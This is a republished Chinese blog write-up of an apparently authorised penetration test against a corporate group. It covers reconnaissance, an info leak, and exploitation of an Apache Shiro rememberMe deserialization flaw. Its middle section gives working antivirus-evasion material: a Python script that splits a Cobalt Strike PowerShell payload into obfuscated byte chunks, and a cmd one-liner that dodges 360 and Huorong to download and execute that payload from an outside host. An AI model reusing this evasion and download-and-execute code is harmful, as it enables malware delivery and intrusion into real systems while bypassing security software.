实战 | 某集团渗透实战

admin 2022年11月9日00:24:21评论43 views字数 4794阅读15分58秒阅读模式

渗透开始:

1.访问官网获取信息开始渗透

https://www.xxx.com.cn/

实战 | 某集团渗透实战

可以使用Fofa,火线,zoomeye,searchcode.com等爬取相关的资产,重点关注一些有漏洞暴露的框架和服务例如:泛微,PHP,Tomca,后台,weblogic等等。之后就主要分三步:指纹识别、漏洞验证、漏洞复现。

指纹识别很好理解,我们要拿历史漏洞怼它,首先要知道,它是什么有什么漏洞,不然你这怼半天,没有怼到点上,还容易被404警告(根据相关的指纹识别wappalyzer,云悉,Ehole,自建指纹库等等)。

https://github.com/EdgeSecurityTeam/EHole

https://zone.huoxian.cn/

https://searchcode.com/

实战 | 某集团渗透实战

实战 | 某集团渗透实战

同时按需求和习惯把旗下50%以上控股的公司进行收集根域--到子域收集(layer,oneforall等等)https://github.com/shmilylty/OneForAll

2.综合渗透分析脑图:

分享一个很细的工具集。实战 | 某集团渗透实战

初步收集到大量资产识别某个目标是某个系统之后,需要针对该系统收集其历史漏洞情况,然后进行漏洞验证。所以漏洞验证部分需要两步,漏洞梳理和漏洞验证,漏洞梳理主要是从公开资料去收集目标系统相关的历史漏洞。

网络上有很多资料,比如 xxx 文库,github,还有免费开源的工具和 POC,比如 xray、nuclei,提供了很多漏洞验证的 POC,还有付费写的软件和平台;漏洞验证部分,尽量做到无害验证例如:挑个软的泛微云桥公开POC验证。实战 | 某集团渗透实战

发现没有漏洞,就换个资产继续,渗透都是一步步来的。发现第一个漏洞——信息泄露,是一个好的开始,找到些配置信息仔细先记录下来,继续一步步扩大成果。

http://www.xxxxxx.com/.idea/workspace.xml

http://www.xxxxxx.com/.idea/modules.xml

实战 | 某集团渗透实战

实战 | 某集团渗透实战

本着以洞打洞原则:有一个漏洞必定有下一个漏洞进行这个域名更深的渗透--反查IP发现无CDN是真实IP直接全端口探测,(这里用的goby,全端口用nmap低速SYN扫描方式效果最好)。实战 | 某集团渗透实战

实战 | 某集团渗透实战

去测试9090端口爆破没有结果,js,目录探测,右键源码等无结果继续换端口渗透。实战 | 某集团渗透实战

换到8088端口跳转网站继续进行渗透。实战 | 某集团渗透实战

跳转到http://xx.xxxxxx.com:8010/login继续抓包爆破发现shiro的特征rememberMe直接去验证:

Apache Shiro 在 Java 的权限及安全验证框架中占用重要的一席之地,在它编号为 550 的 issue 中爆出严重的 Java 反序列化漏洞。为了让浏览器或服务器重启后用户不丢失登录状态,Shiro 支持将持久化信息序列化并加密后保存在 Cookie 的 rememberMe 字段中,下次读取时进行解密再反序列化。

但是在 Shiro 1.2.4 版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的 rememberMe Cookie,进而触发反序列化漏洞。

Payload产生的过程:
命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。
在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。实战 | 某集团渗透实战

验证成功Windows单网卡并且出网。实战 | 某集团渗透实战注意ping命令控制数量防止死ping。实战 | 某集团渗透实战

发现360需要免杀绕过。实战 | 某集团渗透实战

3.分离免杀:

杀毒软件的原理是根据特征、行为、基于云查杀,云查杀主要是根据特征码进行查杀,每一种杀毒软件都会检测头文件,所以可以进行程序段代码分离的形式,绕过当前主流杀软。

自己搭建一个Cobalt Strike运行客户端后选powershell脚本。实战 | 某集团渗透实战

去挂载在公网。实战 | 某集团渗透实战

混淆方法

首先将FromBase64String改成FromBase65String。

$string = ''
$s = [Byte[]]$var_code = [System.Convert]::FromBase64String("")
$s |foreach { $string = $string + $_.ToString()+','}
$string > c:1.txt

将生成的编码分成两块或者多块再组合。

[Byte[]]$var_c1 =  [Byte[]](FromBase65String的代码)
[Byte[]]$var_c2 =  [Byte[]](FromBase65String的代码)
$var_code=$var_c1+$var_c2
$s=New-Object IO.MemoryStream(,$var_code);IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

完整脚本。

import requests

import re

import sys

import threading

import os

import platform

import subprocess

import base64

def getkey(url):

url=url

r = requests.get(url).text

key=re.findall(r'FromBase64String("(.*)"',r)

str1 = ''.join(key)

return str1

def get_bypass_txt(key):

file=open("keyword.txt",'w')

file.write(key)

file.close()

#os.system("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe   $string = '';$s = [Byte[]]$var_code = [System.Convert]::FromBase64String((Get-Content  keyword.txt));$s | foreach { $string = $string + $_.ToString()+','};$string > keyword2.txt")

with open("keyword.txt", "rb") as f:

data = f.read()

d = base64.b64decode(data)

with open("bypass.txt", "w+") as fw:

for x in d:

fw.write(str(x) + ",")

if __name__ == '__main__':

j=1

k=0

url=input("输入cs文件地址:")

key=getkey(url)

get_bypass_txt(key)

with open('bypass.txt', 'r') as f1:

results = f1.read()

str=results.split(',')

k=int(len(str))

chunk=int(input("请输入需要分的块数:"))

sum_chunk=k//chunk

for i in range(0,chunk):

#print(i+1)

if i==0:

new_str=str[0:sum_chunk]

s=",".join(new_str)

#print(s)

with open('poershell_bypass.txt','w') as f:

f.write("[Byte[]]$var_c%d =  [Byte[]](%s)n"% (j,s))

j+=1

# print(new_str)

elif i+1<chunk:

new_str[i]=str[sum_chunk*i:sum_chunk*(i+1)]

#print(new_str[i])

s = ",".join(new_str[i])

# print(s)

with open('poershell_bypass.txt', 'a+') as f:

f.write("[Byte[]]$var_c%d =  [Byte[]](%s)n"% (j, s))

j += 1

elif i+1==chunk:

new_str[i]=str[sum_chunk*i:]

s = ",".join(new_str[i][:-1])

# print(s)

with open('poershell_bypass.txt', 'a+') as f:

f.write("[Byte[]]$var_c%d =  [Byte[]](%s)n" % (j, s))

j += 1

for i in range(int(chunk)):

if i==0:

with open('poershell_bypass.txt', 'a+') as f:

f.write("$var_code=$var_c%d"%(i+1))

elif i<chunk-1:

with open('poershell_bypass.txt', 'a+') as f:

f.write("+$var_c%d" % (i + 1))

elif i ==chunk - 1:

with open('poershell_bypass.txt', 'a+') as f:

f.write("+$var_c%d n$s=New-Object IO.MemoryStream(,$var_code);$a1='IEX (New-Object IO.Strea123'.Replace('123','mRe');$a2='ader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()';IEX($A1+$a2)" % (i + 1))

print("poershell_bypass.txt已经生成完成!")

进行分离。实战 | 某集团渗透实战

继续挂载在CS服务器上远程下载。实战 | 某集团渗透实战

由于360和火绒对powershell命令会禁止调用,我们需要绕过360和火绒的禁止。

set aa=powers&& set bb=hell && cmd /c "echo set-alias -name test -value IEX;test(New-Object NeT."W`ebC`li`ent")."D`own`l`oadStr`ing"('ht'+'tP://192'+'.168.158.132:8888'+'/poershell_bypass.txt') | %aa%%bb% -"

实战 | 某集团渗透实战

实战 | 某集团渗透实战

这个点就到这。

继续把最后的一个端口测试完发现扫描有.DS_Store文件泄露http://43.2xx.xx.155:8012/.DS_Store,github上找个公开脚本进行枚举细心审计会发现更多问题。实战 | 某集团渗透实战

这个ip这么多问题其他子域同样来一波果真这个段还有不少问题又找到两个弱口令。实战 | 某集团渗透实战

实战 | 某集团渗透实战

4. 总结:

基于一次授权的渗透把一些思路整理一下,本次的重点在以洞打洞原则发现一个小洞顺藤摸瓜发现更多的高危甚至严重问题,像我们日常渗透有这样一步步思路进行收获都不小,当然了运气可以省很大部分时间和心思,一步到位的欧皇也是存在。

参考来源:

http://www.fndxkl.xyz/2021/07/03/Untitled/

实战 | 某集团渗透实战


推荐阅读


实战 | 记一次渗透拿下某儿童色情网站的经过


实战 | 某某街一处XSS的绕过思路


实战 | 记一次企业钓鱼演练


2022年,从现在开始学安全还不迟!


干货 | 2022年超全的安全知识库


实战 | 实战一次完整的BC网站渗透测试


作者:思无邪9527
原文地址:https://www.freebuf.com/vuls/305025.html

如有侵权,请联系删除

星球部分精华内容推荐

实战 | 某集团渗透实战


实战 | 某集团渗透实战


实战 | 某集团渗透实战

其他更多精彩内容,欢迎加入我们的星球

实战 | 某集团渗透实战


原文始发于微信公众号(HACK学习君):实战 | 某集团渗透实战

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月9日00:24:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战 | 某集团渗透实战http://cn-sec.com/archives/1397842.html

发表评论

匿名网友 填写信息